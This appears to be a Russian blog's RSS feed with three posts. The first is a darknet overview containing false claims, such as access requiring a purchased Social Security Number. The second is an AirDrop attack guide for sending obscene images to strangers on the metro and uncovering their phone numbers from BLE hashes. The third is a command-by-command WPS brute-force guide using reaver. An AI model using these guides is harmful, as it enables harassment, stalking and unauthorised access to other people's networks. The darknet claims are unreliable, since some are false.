<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>@ewr</title><generator>teletype.in</generator><description><![CDATA[@ewr]]></description><link>https://teletype.in/@ewr?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=ewr</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/ewr?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/ewr?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Mon, 27 Jul 2026 00:57:49 GMT</pubDate><lastBuildDate>Mon, 27 Jul 2026 00:57:49 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@ewr/oSlQCTgf-</guid><link>https://teletype.in/@ewr/oSlQCTgf-?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=ewr</link><comments>https://teletype.in/@ewr/oSlQCTgf-?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=ewr#comments</comments><dc:creator>ewr</dc:creator><title>7 заблуждений о Даркнете</title><pubDate>Fri, 31 Jul 2020 04:42:23 GMT</pubDate><description><![CDATA[История DarkNet началась в 1970-х годах, когда велась разработка сети ARPANet – прообраза будущего Интернета. Уже тогда сложилось понимание, что, помимо общедоступной сети для всех», необходимо предусмотреть особую, изолированную сеть «для своих». Вплоть до 2000-х об этой, скрытой части Интернета практически ничего не сообщалось. Первые сведения появились после публикации в сети Freenet материалов об изобретении исследовательской лабораторией US Naval Research Lab инструмента анонимного доступа под названием Tor (от англ. The Onion Router, отсюда и соответствующее расширение в адресах DarkNet). Эта система охватывает сеть прокси-серверов, которые позволяют устанавливать сетевое соединение, защищенное от прослушивания: в результате...]]></description><content:encoded><![CDATA[
  <p>История DarkNet началась в 1970-х годах, когда велась разработка сети ARPANet – прообраза будущего Интернета. Уже тогда сложилось понимание, что, помимо общедоступной сети для всех», необходимо предусмотреть особую, изолированную сеть «для своих».<br />Вплоть до 2000-х об этой, скрытой части Интернета практически ничего не сообщалось. Первые сведения появились после публикации в сети Freenet материалов об изобретении исследовательской лабораторией US Naval Research Lab инструмента анонимного доступа под названием Tor (от англ. The Onion Router, отсюда и соответствующее расширение в адресах DarkNet). Эта система охватывает сеть прокси-серверов, которые позволяют устанавливать сетевое соединение, защищенное от прослушивания: в результате создается анонимная сеть виртуальных туннелей, позволяющая передавать данные в зашифрованном виде.<br />Несмотря на свободное распространение и открытость используемого ПО, эта система «луковой маршрутизации» достаточно хорошо защищена и безопасна. Когда к 2013 году число участников Тор перевалило за 4 млн, это была уже настоящая заявка на успех «потайной» сети.<br />Вторым значимым событием для развития DarkNet стало появление цифровой криптовалюты, получившей название биткоин (Bitcoin). Аналогично Tor, она поддерживает принцип анонимности и гарантирует шифрование при любых формах передачи данных. Криптовалюта потребовалась потому, что доступ в DarkNet хотя и бесплатный, но требует покупки Social Security Number (он стоит $1).<br />Кажется, что это пустяки, но в DarkNet все иначе. Здесь, например, за один доллар можно также купить чужой эккаунт в Facebook, у которого уже набралось 15 тыс. подписчиков. Зачем это нужно – такого рода вопросы не принято задавать в DarkNet. Но, скажем, провести немассированную DDoS-атаку против какого-нибудь сайта стоит всего $7 в час.<br />Когда-то Габриэль Лауб, польский писатель и журналист, сказал: «Ценности абстрактны, а цены конкретны». Это один из принципов, которых придерживаются в DarkNet. Другой: «Чем глубже, тем дороже!» Здесь можно найти киллера, который за 20 тыс. баксов согласится помочь решить проблему. Если же цель более значима, расценки будут не ниже $100 тыс., а то и выше.<br />Известно, что в DarkNet тусуются представители всевозможных террористических организаций (по подсчетам, их около 50 тыс.). Есть в ней даже черный рынок» Silk Road, оборот которого оценивается в $1,2 млрд, причем многие операции совершаются в биткоинах. В последнее время число криптовалют возросло: теперь в DarkNet имеют также хождение Zcash и Monero.<br />1. Назначение DeepNet и DarkNet абсолютно разное.<br />2. Криминальный характер DarkNet относится только к его малой части. В основном DarkNet применяется для передачи частной информации.<br />3. DarkNet популярна в странах, где государство придерживается репрессивной модели воздействия на тех, кто публикует онлайн-информацию.<br />4. Несмотря на анонимность посещения, существуют возможности для выявления участников, которые используют эти ресурсы для запрещенной деятельности.<br />5. Социальные сообщества DeepNet не проявляют враждебности к незнакомым пользователям.<br />6. В DeepNet есть свои поисковые механизмы и безопасные почтовые клиенты.<br />7. В DeepNet сложился этикет общения, которого следует придерживаться всем посетителям.<br />Добро всегда побеждает зло<br />Darknet не всегда плохо. Здесь есть свои доски объявлений (например, 8chan, nntpchan), свои онлайн-рынки для покупки различных товаров (например, Alphabay, Hansa), свои блоги (например, OnionNews, Deep Web Radio). Есть даже своя энциклопедия – Hidden Wiki, в которой можно найти статьи на самые разные темы, а также ссылки на другие сайты ресурса. Главное отличие DarkNet от привычного всем Интернета (Surface Web) – это его правила работы, или, точнее, отсутствие правил при соблюдении определенного этикета участия.<br />Эта сеть привлекает внимание отнюдь не только искателей приключений, мошенников и других негодяев, но и солидные фирмы и даже госструктуры. Ее ресурсы активно мониторятся правоохранительными органами. Одним словом, DarkNet существует и развивается как самостоятельная часть Интернета, без которой он не был бы таким, какой есть сегодня.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@ewr/y4kooDG5-</guid><link>https://teletype.in/@ewr/y4kooDG5-?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=ewr</link><comments>https://teletype.in/@ewr/y4kooDG5-?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=ewr#comments</comments><dc:creator>ewr</dc:creator><title>ВЗЛАМЫВАЕМ IOS</title><pubDate>Thu, 30 Jul 2020 17:08:32 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/e0/54/e05455c0-3ef8-4a88-ba40-5c93ca0768b4.png"></media:content><description><![CDATA[<img src="https://telegra.ph/file/9aadfb27db8c1d10a32dd.jpg"></img>Сразу к делу. Для начала нам нужно узнать, как работает AirDrop:]]></description><content:encoded><![CDATA[
  <figure class="m_original">
    <img src="https://telegra.ph/file/9aadfb27db8c1d10a32dd.jpg" width="537" />
  </figure>
  <p>Сразу к делу. Для начала нам нужно узнать, как работает AirDrop:</p>
  <figure class="m_original">
    <img src="https://telegra.ph/file/42c1cf36e67d3af41790d.png" width="1890" />
  </figure>
  <p>AirDrop это протокол для передачи файлов внутри одноранговой сети. Он может работать как по обычной локальной сети, так и по воздуху между любыми устройствами Apple. Мы будем разбирать последний случай, когда два устройства не подключены в общую сеть, а просто находятся рядом, например два человека c телефонами едут в вагоне метро и не подключены к общему Wi-Fi.</p>
  <figure class="m_original">
    <img src="https://habrastorage.org/webt/5w/yt/hq/5wythqa8u4o1mux379u0o0r8loo.png" width="1810" />
  </figure>
  <p>Первый этап передачи через AirDrop — рассылка BLE пакета</p>
  <p>Чтобы инициировать передачу данных через AirDrop, телефон инициатора посылает широковещательный BLE-пакет, в котором содержится захешированная информация об iCloud аккаунте и телефонном номере владельца устройств инициатора, с предложением установить подключение через протокол AWDL (Apple Wireless Direct Link), что-то вроде Wi-Fi Direct из мира Android. Структура этого BLE-пакета очень интересна, мы разберем ее дальше.</p>
  <p>На стороне получателя AirDrop может быть в трех состояниях:</p>
  <ul>
    <li>Выключен — не будет обнаруживаться вообще</li>
    <li>Только для контактов — принимать файлы только от контактов из записной книжки. При этом контактом считается номер телефона или email, к которому привязан icloud аккаунт. Здесь работает та же логика привязки аккаунтов, что и с мессенджером iMessages.</li>
    <li>Для всех — телефон будет обнаруживаться для всех</li>
  </ul>
  <figure class="m_original">
    <img src="https://habrastorage.org/webt/3b/ji/ij/3bjiijgozhbjzqg7gxtykwvc9m4.png" width="1200" />
  </figure>
  <p>Настройки приватности AirDrop. Состояние по умолчанию установлено «Для контактов».</p>
  <p>В зависимости от настроек приватности, телефон либо продолжит установку соединения через AWDL, либо просто проигнорирует BLE-пакет. Если для AirDrop установлена настройка «для всех», то на следующем шаге устройства соединятся друг с другом через AWDL, поднимут между собой IPv6-сеть, внутри которой AirDrop будет работать как обычный прикладной протокол с помощью mDNS через стандартный протокол IP.</p>
  <figure class="m_original">
    <img src="https://habrastorage.org/webt/su/ek/gd/suekgd-mxu0ziueze4k75hnbzt8.png" width="1760" />
  </figure>
  <blockquote>Для экспериментов вы можете посмотреть за тем как работает AWDL на макбуке. Весь обмен по этому протоколу происходит через интерфейс awdl0, который можно легко снифать с помощью Wireshark или tcpdump.</blockquote>
  <p>На данном этапе мы знаем три сущности:</p>
  <p>Bluetooth LowEnergy (BLE) пакет — этот пакет содержит данные, на основании которых телефон решает, есть ли инициатор в его списке контактов или нет.</p>
  <p>Apple Wireless Direct Link (AWDL) — фирменная замена Wi-Fi Direct от Apple, включается если общение по BLE прошло успешно.</p>
  <p>AirDrop — прикладной протокол, который работает внутри обычной IP-сети с использованием mDNS, HTTP и т.д. Может работать внутри любой Ethernet-сети.</p>
  <h4>Как сниффать траффик</h4>
  <p>Для начала запомним:</p>
  <ul>
    <li>AirDrop сработает только если телефон разблокирован — лучше всего, если цель непрерывно смотрит в телефон. Чаще всего это происходит в местах где скучно, например в метро.</li>
  </ul>
  <h4>Способ классический — только телефон</h4>
  <p>Подходит всем у кого есть айфон, не требует особых навыков кроме социальных. Переводим AirDrop в режим Everyone и спускаемся в метро. В обычный день (до самоизоляции) в вагоне московского метро я наблюдал примерно такую картину:</p>
  <figure class="m_original">
    <img src="https://habrastorage.org/webt/7h/t1/aw/7ht1awo1oaeh_4esehvljj0zjtu.jpeg" width="750" />
    <figcaption>List of targets</figcaption>
  </figure>
  <p>Как видно, почти все телефоны броадкастят имя владельца, по которому мы легко можем определить его пол и подготовить соответствующий пейлоад.</p>
  <h4>Пейлоад (отправляем любые изображения)</h4>
  <p>Если у вас iPhone, то через AirDrop отправляем на устройство жертвы изображение, можно отправить как изображение-ловушку, которое блокирует систему, так и различные другие изображения.</p>
  <p>Дальнейшее описание действий выходит за рамки технической статьи и зависит только от вашей фантазии, импровизации и юмора. Могу сказать только, что некоторые из жертв вступают в эту игру и начинают отвечать вам картинками или посылать заметки.</p>
  <h4>Автоматическая дикпик-машина</h4>
  <p>Если тебе лень генерировать и рассылать пейлоады вручную, и ты хочешь автоматизировать процесс, можно изготовить автоматическую дикпик-машину, которая в фоне будет рассылать картинки по AirDrop всем, кто находится в радиусе действия. В качестве аппаратной платформы будем использовать raspberry pi zero, но подойдет любой комп с линуксом, главное чтобы Wi-Fi карточка поддерживала мониторный режим и инъекции пакетов.</p>
  <figure class="m_original">
    <img src="https://habrastorage.org/webt/oc/f6/yi/ocf6yij5my5hgfi6w-6-uyzyqmi.jpeg" width="1280" />
  </figure>
  <p><em>Рассылатель дикпиков по Airdrop на базе raspberry pi zero w + батарейный шилд UPS Lite</em></p>
  <blockquote>Есть программы AirDrop флудеров для Jailbreak айфонов, они работают стабильнее, чем открытые варианты на raspberry pi</blockquote>
  <p>Настройка OWL на raspberry pi подробно описана на <a href="https://owlink.org/2019/05/16/howto-use-airdrop-on-raspberry-pi-3.html" target="_blank">сайте проекта</a>, но я предпочитаю использовать сборку Kali Linux для Raspberry Pi Zero, потому что в ней уже установлены патчи nexmon, для активации мониторного режима Wi-Fi на rpi0.</p>
  <p>Важно помнить, что Airdrop (вернее AWDL) у пациентов активируется только после получения BLE-пакета. Поэтому мы должны его посылать с интервалом в несколько секунд. Это можно сделать с помощью утилиты <a href="https://github.com/colin-guyon/py-bluetooth-utils" target="_blank">py-bluetooth-utils</a>. Используя функцию start_le_advertising(), я посылаю строку данных из примеров apple bleee: <code>000000000000000001123412341234123400</code>.</p>
  <p>После того, как вы получили работающий OWL-демон, дальше можно запускать форк <a href="https://github.com/zhovner/opendrop" target="_blank">opendrop</a>. В репозитории лежит скрипт <code>flooder.py</code>, который рассылает всем картинку <code>kak_dela.jpeg</code>.</p>
  <blockquote>По моим наблюдениям raspberry pi zero w работает нестабильно в мониторном режиме. Примерно через 20 минут активной работы флудера, вылетает подсистема Wi-Fi. Проблема описана у автора <a href="https://github.com/evilsocket/pwnagotchi/issues/267" target="_blank">pwnagotchi</a>, и предположительно вызвана перегревом. Нужно предусмотреть watchdog или использовать более стабильное железо</blockquote>
  <h4>Структура BLE-пакета</h4>
  <p>Может показаться, что этот BLE-пакет пролетает только один раз от инициатора к получателю, а дальше обмен происходит только по AWDL. В действительности соединение AWDL живет очень мало, всего несколько минут или меньше. Так что в случае, если получатель файла захочет вам ответить, он так же выступит инициатором и пошлет BLE-пакет.</p>
  <p>Как телефон на принимающей стороне понимает, есть ли номер/email инициатора в его списке контактов или нет? Я очень удивился, когда узнал ответ: инициатор шлет свой номер и email в виде хеша sha256, но не целиком, а только первые 3 байта.</p>
  <figure class="m_original">
    <img src="https://habrastorage.org/webt/89/5c/ww/895cww-dhaj6v9kvfjmxhcsjii8.png" width="1242" />
  </figure>
  <p><em>Структура BLE-пакета от инициатора AirDrop. По хешам от телефонного номера и email ответчик понимает, есть ли инициатор в его списке контактов.</em></p>
  <p>Например, если ваш Apple-аккаунт (он же iCloud, он же iMessages) привязан к номеру +79251234567, хеш от него будет считаться так:</p>
  <pre>echo -n &quot;+79251234567&quot; | shasum -a 256
07de58621e5d274f5844b6663a918a94cfd0502222ec2adee0ae1aed148def36
</pre>
  <p>И в итоге в BLE-пакете улетит значение 07de58 для телефонного номера. Этого кажется мало, но часто этих трех байт достаточно, чтобы узнать реальный номер телефона.</p>
  <p>Важно также помнить, что настройка приватности AirDrop не влияет на данные в BLE-пакете. Хеш от телефонного номера будет содержаться в нем, даже если установлена настройка «Для всех». Также BLE-пакет с хешем телефонного номера посылается в случае открытия окна Share (Поделиться) и при вводе пароля к Wi-Fi сети.</p>
  <blockquote>Подробный разбор структуры BLE-пакетов и возможных атак на него читайте в исследовании <a href="https://hexway.io/research/apple-bleee/" target="_blank">Apple Bleee</a>.</blockquote>
  <p>В исследовании Apple Bleee опубликованы готовые скрипты на python для автоматизации анализа данных в BLE-пакетах. Я очень рекомендую изучить исследование и попробовать программы, там много чего интересного.</p>
  <h4>AWDL (Apple Wireless Direct Link)</h4>
  <p>AWDL — это такая проприетарная надстройка Apple над обычным Wi-Fi, реализующая что-то вроде Wi-Fi Direct. Я до конца не знаю как она работает, там особый способ анонсирования и согласования каналов, и работает это только на проприетарных драйверах Apple. То есть только макбуки/айфоны могут соединяться через AWDL.</p>
  <blockquote>Грустные владельцы телефонов Android пока еще только мечтают о нормально работающей функции Wi-Fi Direct.</blockquote>
  <figure class="m_original">
    <img src="https://habrastorage.org/webt/ki/qi/oo/kiqioompffoitcv7fuzqotuz6ho.png" width="2292" />
  </figure>
  <p>Но не так давно ребята из <a href="https://github.com/seemoo-lab" target="_blank">seemoo-lab</a> написали полностью открытую реализацию AWDL и назвали ее <a href="https://owlink.org/" target="_blank">Open Wireless Link</a> (OWL). Для запуска OWL, адаптер Wi-Fi должен поддерживать мониторный режим и инъекции пакетов, поэтому запускается не на каждом железе. На сайте есть примеры настройки на raspberry pi. Работает это существенно хуже оригинального AWDL, например время установки подключения растягивается на ~10 секунд вместо пары секунд у оригинала, но работает.</p>
  <figure class="m_original">
    <img src="https://habrastorage.org/webt/vq/my/d8/vqmyd8ddv1urh7h9stumzjp_une.png" width="862" />
  </figure>
  <p>Также эти ребята написали с нуля реализацию протокола AirDrop на питоне, называется <a href="https://github.com/seemoo-lab/opendrop" target="_blank">OpenDrop</a>. Его можно использовать как в связке с OWL, для запуска AirDrop на линуксе так и с оригинальным AWDL на macOS.</p>
  <h4>Режим маньячелло — я знаю твой номер</h4>
  <p>Если ты хочешь показать себя неадекватным маньяком и навсегда отбить желание продолжать с тобой общение, можно попытаться узнать номер телефона человека, который находится рядом.</p>
  <figure class="m_original">
    <img src="https://telegra.ph/file/ddf6a5e1e1910ad4bcfc4.png" width="2402" />
  </figure>
  <p>Как мы уже узнали ранее, в BLE-пакетах, которые посылает инициатор, содержатся первые три байта от sha256 телефонного номера. Этот хеш можно поймать в момент, когда жертва нажмет кнопку «поделиться» и запустит сканирование airdrop устройств или тапнет в поле ввода Wi-Fi пароля от новой сети (таким образом apple ищет друзей в радиусе действия, у которых можно запросить пароль от сети).</p>
  <p>Тебе потребуется каким-либо образом тригернуть посылку хеша от жертвы, и поймать его. Я использую утилиты из репозитория <a href="https://github.com/hexway/apple_bleee" target="_blank">Apple Bleee</a>. Так как Bluetooth MAC-адреса устройств рандомные и постоянно меняются, тебе придется найти другой способ определить нужное устройство в этом списке. Задача упрощается тем, что iOS транслирует текущее состояние телефона вроде: выключен экран, включен экран, lock screen, разблокирован и т.д. Поэтому просто наблюдая за действиями жертвы можно сопоставить текущее состояние устройства с устройством в таблице. Проще всего поймать момент, когда юзер достал телефон из кармана, включил экран и разблокировал телефон пальцем или лицом. Все это будет видно в сниффере.</p>
  <figure class="m_original">
    <img src="https://habrastorage.org/webt/ru/mg/e_/rumge_fhupa-bdopqxysr9t__fi.png" width="1280" />
  </figure>
  <p><em>Значок Х означает, что пойман пакет с хешами телефона.</em></p>
  <p>Их парсер иногда ломается, но чаще всего работает. Я не буду полностью пересказывать суть уязвимости, так как это подробно разобрано авторами Apple Blee, опишу лишь свой опыт. Скажу только, что я использую USB Bluetooth-адаптер на чипе CSR 8510, так как у меня он работает сильно стабильнее, чем встроенный в макбук Bluetooth-адаптер, проброшенный в виртуальную машину.</p>
  <p>Итак мы поймали хеш от телефона жертвы и получили заветные три байта от хеша номера телефона.</p>
  <figure class="m_original">
    <img src="https://habrastorage.org/webt/7p/p4/7h/7pp47hv9jg25z7k_wksiyavqsiu.jpeg" width="1180" />
  </figure>
  <p><em>Перехваченный BLE-пакет с хешем номера телефона, с помощью утилиты <a href="https://github.com/hexway/apple_bleee" target="_blank">read_ble_state.py</a></em></p>
  <p>Мы знаем, что в России все мобильные номера начинаются с кода +79 и, скорее всего, у нашей жертвы телефон имеет такой же код. Получается, мы имеем диапазон номеров от +79000000000 до +79999999999, около миллиарда номеров.</p>
  <p>Чтобы сузить диапазон, берем только коды, реально зарегистрированные за каким-либо оператором и выбрасываем остальные. В итоге диапазон становится в два раза меньше, около полумиллиарда номеров.</p>
  <p>Дальше генерируем sha256 от всех номеров и сохраняем от каждого хеша только первые 3 байта. Заносим этот список в Sqlite базу, для ускорения поиска строим индекс.</p>
  <p>Так выглядят данные в базе:</p>
  <figure class="m_original">
    <img src="https://habrastorage.org/webt/6g/jm/15/6gjm15ywew5aymo4jgz9ke0fbwe.jpeg" width="450" />
  </figure>
  <p><em>Все российские телефонные номера и первые три байта хеша</em></p>
  <p>Дальше, имея хеш жертвы, мы можем поискать все совпадения в базе. Обычно на один хеш выходит 15-30 совпадений.</p>
  <figure class="m_original">
    <img src="https://habrastorage.org/webt/aq/dx/ya/aqdxyalanbqvhdciazje-9luuec.jpeg" width="764" />
  </figure>
  <p><em>Все номера, совпавшие с хешем жертвы</em></p>
  <p>Очевидно, что не все эти номера реально используются. Мы можем отсечь лишние с помощью HLR-запроса или невидимой SMS. Из 30 номеров в сети оказалось 5.</p>
  <figure class="m_original">
    <img src="https://habrastorage.org/webt/q3/oy/ib/q3oyib-jturxdc7ix9mcwfbs7ig.jpeg" width="1280" />
  </figure>
  <p><em>Результат выполнения HLR-запроса. Зеленым выделены номера в сети.</em></p>
  <p>Я бы мог продолжать просеивать номера, например, добавить их все в Telegram/Whatsapp и посмотреть аватарки, проверить через базы вроде Getcontact и так далее. Но проще оказалось просто позвонить поочередно на все пять номеров и смотреть когда у жертвы зазвонит телефон</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@ewr/rSkLb2naK</guid><link>https://teletype.in/@ewr/rSkLb2naK?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=ewr</link><comments>https://teletype.in/@ewr/rSkLb2naK?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=ewr#comments</comments><dc:creator>ewr</dc:creator><title>Брутфорс для Wi-Fi: как быстро взломать Wi-Fi со сложным WPA паролем</title><pubDate>Thu, 30 Jul 2020 11:43:26 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/8e/99/8e99994e-82b5-4af0-a428-1d1e81eebf18.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/4f/92/4f92943e-b84f-4b3e-9c89-c743c9f31545.png"></img>Сегодня в статье мы рассмотрим одну уязвимость, которая существует ещё со времен создания роутеров, а именно WPS. WPS – это более простое подключение к роутеру. Очень часто производители маршрутизаторов включают данную функцию для того, чтобы обычный пользователь как можно быстрее и проще подключился к интернет-центру и настроил его.]]></description><content:encoded><![CDATA[
  <figure class="m_custom">
    <img src="https://teletype.in/files/4f/92/4f92943e-b84f-4b3e-9c89-c743c9f31545.png" width="1366" />
  </figure>
  <p>Сегодня в статье мы рассмотрим одну уязвимость, которая существует ещё со времен создания роутеров, а именно WPS. WPS – это более простое подключение к роутеру. Очень часто производители маршрутизаторов включают данную функцию для того, чтобы обычный пользователь как можно быстрее и проще подключился к интернет-центру и настроил его.</p>
  <p>Для подключения обычно используется отдельная сессия. А при запросе нужно ввести PIN код. Именно PIN код, а не пароль. Все дело в том, что PIN состоит из 8 цифр. Как вы начинаете понимать, такое соединение и правда можно взломать, так как у нас есть ограниченное количество переборов. Если говорить точнее, то их 100 000 000.</p>
  <p>Сто миллионов это очень много, но пугаться не стоит. Все дело в том, что последняя циферка данного кода является всего лишь контрольной суммой, которая проверяет правильность введенного кода. Поэтому нам теперь надо перебрать всего лишь 10 миллионов. Тоже большая цифра, но на деле понадобится всего 11000 вариантов, и я сейчас докажу это.</p>
  <p>Дело в том, что WPS аутентификация происходит в два этапа. То есть сначала отсылается первый пакет, а потом второй, то есть по 4 цифры.</p>
  <h3>Схема и разбор аутентификации</h3>
  <p>И так для начала давайте взглянем на картинку ниже. Смотрите мы генерируем PIN, но перебор идёт только в первой части M4. После отправки первой части, если он не правильный мы отправляем его повторно. Если он правильный, то мы получаем положительный ответ и уже начинаем перебирать вторую часть M6, пока не получим положительный ответ.</p>
  <figure class="m_custom">
    <img src="https://wifigid.ru/wp-content/uploads/2019/07/1-86.jpg" width="692" />
    <figcaption>Брутфорс для Wi-Fi: как быстро взломать Wi-Fi со сложным WPA паролем</figcaption>
  </figure>
  <p>Для реализации мы будем использовать операционную систему Linux. Вообще можете забыть про Windows, так как там нет ни одной нормальной программы для взлома. Сейчас я приведу скриншот примерного взлома.</p>
  <figure class="m_custom">
    <img src="https://wifigid.ru/wp-content/uploads/2019/07/2-85.jpg" width="767" />
    <figcaption>Брутфорс для Wi-Fi: как быстро взломать Wi-Fi со сложным WPA паролем</figcaption>
  </figure>
  <p>Всё как я и говорил ранее. Сначала идёт перебор первой части, потом перебор второй. В самом конце система нам показывает полный пароль от беспроводной сети. Проблем как раз в том, что пользователи, настраивая свою точку доступа забывают отключать WPS. Вообще можно, конечно, не отключать эту функцию, а деактивировать аутентификацию с помощью пароля, оставив подключение с помощью нажатия кнопки ВПС.</p>
  <h3>Реализация Брутфорса для WiFi</h3>
  <ol>
    <li>В первую очередь нам нужна Linux, да не простая и золотая. В общем самый оптимальный вариант это BackTrack. В данной паке зашиты все необходимые программы, а также специальные драйвера. Скачать можно на официальном сайте – backtrack-linux.org. При этом можно не устанавливать систему отдельно или как вторую ОС. А просто сделать загрузочный диск с виртуальной машиной. Дистрибутив также можно найти на том же сайте;</li>
    <li>Запускаем систему и командную строку. Вводим данные для входа:Логин: root;</li>
    <li>Пароль: toor;</li>
    <li>Вписываем команду:</li>
  </ol>
  <blockquote>startx</blockquote>
  <ol>
    <li>Теперь нам нужно обновить программу Reaver, для этого понадобится интернет. Если у вас интернет идёт не от шлюза, а напрямую от провайдера по кабелю, то его надо будет ещё настроить. Если интернет идёт от роутера, то все в порядке – пляшем дальше. Прописываем команду для установки:</li>
  </ol>
  <blockquote>apt-get update</blockquote>
  <blockquote>apt-get install reaver</blockquote>
  <blockquote>svn checkout reaver-wps.googlecode.com/svn/trunk reaver-wps</blockquote>
  <blockquote>cd ./reaver-wps/src/</blockquote>
  <blockquote>./configure</blockquote>
  <blockquote>make</blockquote>
  <blockquote>make install</blockquote>
  <blockquote><strong>ПРИМЕЧАНИЕ!</strong> Можете, конечно, попробовать пользоваться уже установленной версией, но лучше все же ее обновить, командами сверху.</blockquote>
  <ol>
    <li>Теперь нам нужно проверить, что беспроводной модуль работает правильно, а к нему подключились драйвера из коробки:</li>
  </ol>
  <blockquote>iwconfig</blockquote>
  <ol>
    <li>Чаще всего подключение обозначатся как wlan0. Если вы подключались ранее к беспроводной сети, чтобы скачать reaver, то лучше отключиться от вашего Wi-Fi. Теперь нужно чтобы модуль был включен в режим поиска сетей. Он теперь будет ловить пакеты от всех беспроводных сетей:</li>
  </ol>
  <blockquote>airmon-ng start wlan0</blockquote>
  <ol>
    <li>Должно создаться новое подключение mon0. Если у вас создалось, что-то другое, то далее вместо mon0 используйте свое название подключения. Теперь надо узнать MAC-адрес нужной точки доступа:</li>
  </ol>
  <blockquote>airodump-ng mon0</blockquote>
  <ol>
    <li>Теперь вы должны будете увидеть список сетей. Обращаться мы будем к точке доступа именно по MAC-адресу. Поэтому далее вводим команду для запуска программы:</li>
  </ol>
  <blockquote>reaver -i mon0 -b 00:21:29:74:67:50 -vv</blockquote>
  <ol>
    <li>Вместо MAC-адреса, который указан у меня, вы должны выбрать из списка сетей любой из первых и просто заменить её.</li>
  </ol>
  <figure class="m_custom">
    <img src="https://wifigid.ru/wp-content/uploads/2019/07/3-78.jpg" width="745" />
    <figcaption>Брутфорс для Wi-Fi: как быстро взломать Wi-Fi со сложным WPA паролем</figcaption>
  </figure>
  <figure class="m_custom">
    <img src="https://wifigid.ru/wp-content/uploads/2019/07/4-64.jpg" width="622" />
    <figcaption>Брутфорс для Wi-Fi: как быстро взломать Wi-Fi со сложным WPA паролем</figcaption>
  </figure>
  <p>Теперь просто надо ждать и наблюдать. Система начнет перебор сначала M4, а потом M6. В самом конце мы увидим полную информацию по точке доступа, а также нужный нам ключ WPA PSK, по которому мы сможем подключиться. Перебор шёл примерно 3 с половиной часа. Но у меня слабый комп, так что возможно у вас получится сделать это куда быстрее.</p>
  <h3>Итоги и выводы</h3>
  <p>Статья в первую очередь была создана в ознакомительных целях. Защититься от данного способа взлома очень легко – просто заходим в настройки роутера и отключаем функцию WPS. Взламывал я именно свой маршрутизатор, так как вообще против чего-то противозаконного. Но как видите – у меня удалось это сделать несмотря на то, что пароль – очень сложный и длинный.</p>

]]></content:encoded></item></channel></rss>